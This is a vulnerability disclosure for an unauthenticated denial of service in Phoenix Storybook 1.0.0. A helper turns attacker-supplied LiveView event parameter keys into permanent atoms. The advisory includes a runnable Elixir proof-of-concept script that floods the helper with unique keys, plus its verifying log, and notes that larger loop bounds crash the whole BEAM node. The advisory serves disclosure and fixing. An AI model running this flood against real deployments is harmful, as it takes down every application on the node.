CVE-2026-8469

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.